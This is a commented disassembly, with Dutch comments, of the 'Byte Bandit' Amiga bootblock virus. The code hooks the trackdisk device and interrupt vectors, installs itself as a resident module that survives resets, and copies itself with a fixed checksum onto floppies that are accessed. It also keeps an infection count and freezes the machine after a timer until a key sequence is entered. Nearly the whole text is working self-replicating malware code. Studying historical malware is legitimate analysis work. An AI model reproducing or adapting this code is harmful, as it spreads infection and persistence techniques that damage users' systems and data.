07e80c:6000 bra.l   $07e84c

07e810: 5669 7275 7320 6279 2042 7974 6520 2020 Virus by Byte   
07e820: 4261 6e64 6974 2069 6e20 2039 2e38 372e Bandit in  9.87.
07e830: 4e75 6d62 6572 206f 6620 2020 2020 2020 Number of       
07e840: 636f 7079 7320 3a00 0000 021e 48e7 7f7f copys :.....H.

07e84c:48e7 movem.l A7-A1/D7-D1,-(A7)	;Zet alle registers op stack. a7 ??
07e850:2c78 move.l  $0004,A6		;Haal ExecBase op
07e854:33fc move.w  #$4000,$dff09a	;Interrupts uitzetten
07e85c:062e addi.b  #$01,294(A6)	;Forbid
07e862:302e move.w  148(A6),D0		;Zet helft van int 5 vector in d0 
07e866:c0bc and.l   #$000000f0,D0	;
07e86c:b07c cmp.w   #$00f0,D0		;Zijn bits x van $00x00000 hoog
07e870:6600 bne.l   $07e8b2		;nee stop
07e874:41ee lea     322(A6),A0		;Zoek geheugen om naar toe te 
07e878:2050 move.l  (A0),A0		;copieeren
07e87a:2268 move.l  24(A0),A1
07e87e:2a49 move.l  A1,A5		;Gevonden, adres staat in A5
07e880:41fa lea     -130(PC)(=$7e800),A0	;Start BootBlock	
07e884:45fa lea     840(PC)(=$7ebce),A2		;Einde nuttig BootBlock
07e888:12d8 move.b  (A0)+,(A1)+
07e88a:b5c8 cmpa.l  A0,A2		;Copieer tot einde
07e88c:66fa bne.s   $07e888		
07e88e:41fa lea     -144(PC)(=$7e800),A0;
07e892:2008 move.l  A0,D0		;
07e894:41fa lea     10(PC)(=$7e8a0),A0	;Bereken nieuw jump adres
07e898:2208 move.l  A0,D1		;
07e89a:9280 sub.l   D0,D1		;(Op een moeilijke manier)
07e89c:dbc1 adda.l  D1,A5		;
07e89e:4ed5 jmp     (A5)		;Spring naar gecopieerd prog
07e8a0:41fa lea     812(PC)(=$7ebce),A0	;
07e8a4:4280 clr.l   D0
07e8a6:20c0 move.l  D0,(A0)+
07e8a8:20c0 move.l  D0,(A0)+		;Wis 2 long word's
07e8aa:6100 bsr.l   $07e8ea		;Verander trd.dev en int 5
07e8ae:6100 bsr.l   $07e95c		;Maak Resident
07e8b2:43fa lea     781(PC)(=$7ebc1),A1	;Stop routine a1-> dos.library	
07e8b6:4eae jsr     -96(A6)		;FindResident
07e8ba:4a80 tst.l   D0			;Gevonden ??
07e8bc:6700 beq.l   $07e8e2		;
07e8c0:2040 move.l  D0,A0		;Ja
07e8c2:2068 move.l  22(A0),A0
07e8c6:042e subi.b  #$01,294(A6)
07e8cc:6c08 bge.s   $07e8d6
07e8ce:33fc move.w  #$c000,$dff09a
07e8d6:203c move.l  #$00000000,D0
07e8dc:4cdf movem.l (A7)+,A7-A1/D7-D1	;Zet registers weer goed
07e8e0:4e75 rts				;Terug naar O.S.
07e8e2:203c move.l  #$ffffffff,D0	;Nee
07e8e8:60f2 bra.s   $07e8dc		

07e8ea:33fc move.w  #$4000,$dff09a
07e8f2:062e addi.b  #$01,294(A6)
07e8f8:48e7 movem.l A6-A0/D1-D0,-(A7)	;Bewaar register inhoud
07e8fc:203c move.l  #$00000400,D0
07e902:223c move.l  #$00000002,D1
07e908:4eae jsr     -198(A6)		;Reserveer $400 bytes in Chip
07e90c:41fa lea     720(PC)(=$7ebde),A0	
07e910:2080 move.l  D0,(A0)		;Bewaar begin adres
07e912:41ee lea     350(A6),A0		;List ??
07e916:43fa lea     664(PC)(=$7ebb0),A1	;a1-> trackdisk.device
07e91a:4eae jsr     -276(A6)		;FindName
07e91e:4a80 tst.l   D0			
07e920:6790 beq.s   $07e8b2		;Niet gevonden
07e922:2040 move.l  D0,A0		;Gevonden op adres A0 
07e924:49e8 lea     -28(A0),A4		;Start trackdisk prog in A4  
07e928:4bfa lea     684(PC)(=$7ebd6),A5	
07e92c:2a94 move.l  (A4),(A5)		;Bewaar start adres trackdisk
07e92e:41fa lea     136(PC)(=$7e9b8),A0	;Nieuw start trackdisk programma
07e932:2888 move.l  A0,(A4)		;Even goed zetten
07e934:202e move.l  148(A6),D0		;D0 = adres int 5 routine
07e938:41fa lea     672(PC)(=$7ebda),A0	
07e93c:2080 move.l  D0,(A0)		;Bewaar in $7ebda
07e93e:41fa lea     394(PC)(=$7eaca),A0	;Nieuwe int 5 routine
07e942:2d48 move.l  A0,148(A6)		;Goed zetten
07e946:042e subi.b  #$01,294(A6)	;Permit
07e94c:6c08 bge.s   $07e956
07e94e:33fc move.w  #$c000,$dff09a	;Zet interupt's aan
07e956:4cdf movem.l (A7)+,A6-A0/D1-D0	;Return Register waarden
07e95a:4e75 rts

					;Zet Resident struct goed
07e95c:41fa lea     644(PC)(=$7ebe2),A0	;A0-> pointer naar resident list
07e960:43e8 lea     8(A0),A1		;A1-> pointer naar resident struct
07e964:2089 move.l  A1,(A0)		
07e966:42a8 clr.l   4(A0)		;Resident list afsluiten met 0
07e96a:2d48 move.l  A0,550(A6)		;Resident list aan O.S. geven
07e96e:32bc move.w  #$4afc,(A1)		;Magic number
07e972:2349 move.l  A1,2(A1)		;Begin structure 
07e976:45e9 lea     26(A1),A2
07e97a:234a move.l  A2,6(A1)		;End structure
07e97e:137c move.b  #$01,10(A1)	
07e984:137c move.b  #$21,11(A1)
07e98a:137c move.b  #$00,12(A1)
07e990:137c move.b  #$f6,13(A1)
07e996:47e9 lea     18(A1),A3		
07e99a:234b move.l  A3,14(A1)
07e99e:237c move.l  #$00000000,18(A1)
07e9a6:47fa lea     480(PC)(=$7eb88),A3	;A3-> programma dat aangeroepen
07e9aa:234b move.l  A3,22(A1)		;wordt door resident
07e9ae:4eae jsr     -612(A6)		;Kicksumdata
07e9b2:2d40 move.l  D0,554(A6)		;Checksum aanpassen
07e9b6:4e75 rts				;Einde resident installeren

07e9b8:2029 move.l  44(A1),D0
07e9bc:b0bc cmp.l   #$00000000,D0
07e9c2:6600 bne.l   $07eac4
07e9c6:1029 move.b  29(A1),D0
07e9ca:b03c cmp.b   #$03,D0
07e9ce:6700 beq.l   $07ea02
07e9d2:b03c cmp.b   #$02,D0
07e9d6:6600 bne.l   $07eac4
07e9da:2f08 move.l  A0,-(A7)
07e9dc:2069 move.l  24(A1),A0
07e9e0:1028 move.b  65(A0),D0
07e9e4:205f move.l  (A7)+,A0
07e9e6:13c0 move.b  D0,$bfd100
07e9ec:1039 move.b  $bfe001,D0
07e9f2:0800 btst    #3,D0
07e9f6:6700 beq.l   $07eac4
07e9fa:0800 btst    #2,D0
07e9fe:6700 beq.l   $07eac4
07ea02:48e7 movem.l A6-A0/D1,-(A7)
07ea06:2c78 move.l  $0004,A6
07ea0a:33fc move.w  #$4000,$dff09a
07ea12:062e addi.b  #$01,294(A6)	;Forbid	
07ea18:137c move.b  #$03,29(A1)
07ea1e:2669 move.l  40(A1),A3
07ea22:244b move.l  A3,A2
07ea24:0ca9 cmpi.l  #$00000400,36(A1)
07ea2c:6700 beq.l   $07ea4e
07ea30:267a move.l  428(PC)(=$7ebde),A3
07ea34:234b move.l  A3,40(A1)
07ea38:237c move.l  #$00000400,36(A1)
07ea40:41fa lea     -578(PC)(=$7e800),A0 
07ea44:43fa lea     -70(PC)(=$7ea00),A1
07ea48:14d8 move.b  (A0)+,(A2)+
07ea4a:b3c8 cmpa.l  A0,A1
07ea4c:66fa bne.s   $07ea48
07ea4e:244b move.l  A3,A2
07ea50:41fa lea     -594(PC)(=$7e800),A0
07ea54:43fa lea     376(PC)(=$7ebce),A1	
07ea58:14d8 move.b  (A0)+,(A2)+
07ea5a:b3c8 cmpa.l  A0,A1
07ea5c:66fa bne.s   $07ea58
07ea5e:204b move.l  A3,A0
07ea60:323c move.w  #$00ff,D1			;Checksum voor
07ea64:4280 clr.l   D0				;BootBlock berekenen
07ea66:d098 add.l   (A0)+,D0			;
07ea68:6400 bcc.l   $07ea6e			;
07ea6c:5280 addq.l  #1,D0			;
07ea6e:51c9 dbf     D1,$07ea66			;
07ea72:4680 not.l   D0				;
07ea74:222b move.l  4(A3),D1			;
07ea78:d280 add.l   D0,D1			;
07ea7a:6400 bcc.l   $07ea84			;
07ea7e:d2bc add.l   #$00000001,D1		;
07ea84:2741 move.l  D1,4(A3)			;Checksum in bootblock zetten
07ea88:41fa lea     324(PC)(=$7ebce),A0
07ea8c:0c50 cmpi.w  #$ffff,(A0)
07ea90:6700 beq.l   $07eaa6
07ea94:0650 addi.w  #$0001,(A0)
07ea98:3010 move.w  (A0),D0
07ea9a:b07c cmp.w   #$0006,D0
07ea9e:6500 bcs.l   $07eaa6
07eaa2:30bc move.w  #$ffff,(A0)
07eaa6:41fa lea     -608(PC)(=$7e848),A0	;Weer een geinfecteert	
07eaaa:0690 addi.l  #$00000001,(A0)		;Even de stand bijwerken
07eab0:042e subi.b  #$01,294(A6)		;Permit
07eab6:6c08 bge.s   $07eac0
07eab8:33fc move.w  #$c000,$dff09a
07eac0:4cdf movem.l (A7)+,A6-A0/D1
07eac4:207a move.l  272(PC)(=$7ebd6),A0	;Haal orinele trackdisk vector op
07eac8:4ed0 jmp     (A0)		;Spring naar orgineel trackdisk prog

07eaca:4bfa lea     260(PC)(=$7ebd0),A5
07eace:0c55 cmpi.w  #$ffff,(A5)
07ead2:6600 bne.l   $07eafa
07ead6:4bfa lea     246(PC)(=$7ebce),A5
07eada:0c55 cmpi.w  #$ffff,(A5)
07eade:6600 bne.l   $07eafa
07eae2:4bfa lea     238(PC)(=$7ebd2),A5
07eae6:0695 addi.l  #$00000001,(A5)
07eaec:0c95 cmpi.l  #$00005208,(A5)	;Als (a5)=21000 = 7 * 60 * 50  
07eaf2:6500 bcs.l   $07eafa		
07eaf6:6100 bsr.l   $07eb00		;Loop Vast
07eafa:2a7a move.l  222(PC)(=$7ebda),A5
07eafe:4ed5 jmp     (A5)

07eb00:33fc move.w  #$4000,$dff09a	;Vast loop routine
07eb08:062e addi.b  #$01,294(A6)	;Forbid
07eb0e:48e7 movem.l D7-D0,-(A7)
07eb12:33fc move.w  #$0100,$dff096
07eb1a:4bfa lea     182(PC)(=$7ebd2),A5
07eb1e:4295 clr.l   (A5)
07eb20:4bfa lea     136(PC)(=$7ebaa),A5 ; pointer naar 6466406765 (onderste
07eb24:1039 move.b  $bfed01,D0				rij toetsen)
07eb2a:0800 btst    #3,D0
07eb2e:67f4 beq.s   $07eb24
07eb30:1039 move.b  $bfec01,D0
07eb36:0039 ori.b   #$40,$bfee01
07eb3e:4600 not.b   D0
07eb40:e218 ror.b   #1,D0
07eb42:323c move.w  #$0600,D1
07eb46:33fc move.w  #$00d1,$dff180
07eb4e:51c9 dbf     D1,$07eb46
07eb52:0239 andi.b  #$bf,$bfee01
07eb5a:121d move.b  (A5)+,D1
07eb5c:b200 cmp.b   D0,D1	;is gelezen kar gelijk aan die in string
07eb5e:66c0 bne.s   $07eb20	
07eb60:0c15 cmpi.b  #$ff,(A5)	;FF is afsluiter van de toetsen rij
07eb64:6700 beq.l   $07eb6a
07eb68:60ba bra.s   $07eb24
07eb6a:33fc move.w  #$8100,$dff096	;zet interrupt weer aan
07eb72:4cdf movem.l (A7)+,D7-D0
07eb76:042e subi.b  #$01,294(A6)	;permit
07eb7c:6c08 bge.s   $07eb86
07eb7e:33fc move.w  #$c000,$dff09a
07eb86:4e75 rts

07eb88:41fa lea     70(PC)(=$7ebd0),A0	;Resident programma
07eb8c:3010 move.w  (A0),D0
07eb8e:b07c cmp.w   #$0002,D0		;Na elke 3 resetten
07eb92:6400 bcc.l   $07eba4		;Gelijk 
07eb96:0650 addi.w  #$0001,(A0)		;Tel verder
07eb9a:2c78 move.l  $0004,A6		;A6-> ExecBase
07eb9e:6100 bsr.l   $07e8ea		;Verander Trackdisk device
07eba2:4e75 rts				;Einde resident programma
07eba4:30bc move.w  #$ffff,(A0)		;Zet teller weer op 0	
07eba8:60f0 bra.s   $07eb9a		;Terug 

07eba0: fd4a 4e75 30bc ffff 60f0 6466 4067 65ff .JNu0...`.df@ge.
07ebb0: 7472 6163 6b64 6973 6b2e 6465 7669 6365 trackdisk.device
07ebc0: 0064 6f73 2e6c 6962 7261 7279 0000 17c5 .dos.library....
07ebd0: 0000 0000 0000 0000 0000 0000 003f e388 .............?..
07ebe0: 0000 0320 0000 0000 0000 0000 0000 0000 ... ............
07ebf0: 0000 2a2a 0000 17e1 0000 000c 0353 4552 ..**.........SER
07ec00: 000a 000f 000a 000b 0005 0010 000a 000b ................
